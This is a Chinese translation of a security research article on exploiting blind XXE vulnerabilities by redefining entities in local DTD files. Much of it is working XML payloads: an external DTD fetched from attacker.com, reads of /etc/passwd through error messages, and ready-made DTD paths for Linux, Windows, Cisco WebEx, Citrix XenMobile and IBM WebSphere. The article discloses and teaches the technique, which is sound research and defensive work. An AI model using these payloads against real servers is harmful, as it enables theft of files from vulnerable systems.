内容简介:本文我要向大家分享一个小技巧,即使用本地DTD文件来利用XXE漏洞从而实现任意结果的输出。想象一下你有一个支持外部实体的XXE,但服务器的响应始终为空。在这种情况下,你有两种选择:基于错误和带外利用。
本文我要向大家分享一个小技巧,即使用本地DTD文件来利用XXE漏洞从而实现任意结果的输出。
想象一下你有一个支持外部实体的XXE,但服务器的响应始终为空。在这种情况下,你有两种选择:基于错误和带外利用。
以下是基于错误的示例:
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd"> %ext; ]> <message></message>
ext.dtd 中的内容
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
看到了吗?你正在使用外部服务器进行payload的传递。如果你和目标服务器之间有防火墙,你可以做什么?答案是什么都做不了!
那么,如果我们将外部DTD文件的内容直接放到DOCTYPE标签内又会是什么结果?会一直出现一些错误。
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ]> <message></message>
外部DTD允许我们在第二个实体中包含一个实体,但它在内部DTD中被禁止。
我们可以用内部DTD做些什么?
要想在内部DTD子集中使用外部DTD语法,你可以在目标主机上强制执行本地dtd文件,并在其中重新定义一些参数实体引用:
Request
<?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd; ]> <message>any text</message>
sip-app_1_0.dtd 中的内容
… <!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)> …
它起作用是因为所有XML实体都是常量,如果定义两个具有相同名称的实体则仅使用第一个实体。
如何查找本地dtd文件?
通过枚举来查找文件和目录应该是最简单的方法了,以下是一些成功应用此技巧的例子:
Linux
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa 'Your DTD code'> %local_dtd;
Windows
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd"> <!ENTITY % SuperClass '>Your DTD code<!ENTITY test "test"'> %local_dtd;
感谢来自Positive Technologies的@Mike_n1分享的这条始终存在的Windows DTD文件路径。
Cisco WebEx
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd"> <!ENTITY % url.attribute.set '>Your DTD code<!ENTITY test "test"'> %local_dtd;
Citrix XenMobile Server
<!ENTITY % local_dtd SYSTEM "jar:file:///opt/sas/sw/tomcat/shared/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd"> <!ENTITY % Body '>Your DTD code<!ENTITY test "test"'> %local_dtd;
多平台 IBM WebSphere 应用
<!ENTITY % local_dtd SYSTEM "./../../properties/schemas/j2ee/XMLSchema.dtd"> <!ENTITY % xs-datatypes 'Your DTD code'> <!ENTITY % simpleType "a"> <!ENTITY % restriction "b"> <!ENTITY % boolean "(c)"> <!ENTITY % URIref "CDATA"> <!ENTITY % XPathExpr "CDATA"> <!ENTITY % QName "NMTOKEN"> <!ENTITY % NCName "NMTOKEN"> <!ENTITY % nonNegativeInteger "NMTOKEN"> %local_dtd;
时间线
2016.1.1 — 发现该技术
2018.12.12 — 撰写相关文章
2018.12.13 — 完整披露
*参考来源: mohemiv ,FB小编secist编译,转载请注明来自FreeBuf.COM
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Django 1.0 Template Development
Scott Newman / Packt / 2008 / 24.99
Django is a high-level Python web application framework designed to support the rapid development of dynamic websites, web applications, and web services. Getting the most out of its template system a......一起来看看 《Django 1.0 Template Development》 这本书的介绍吧!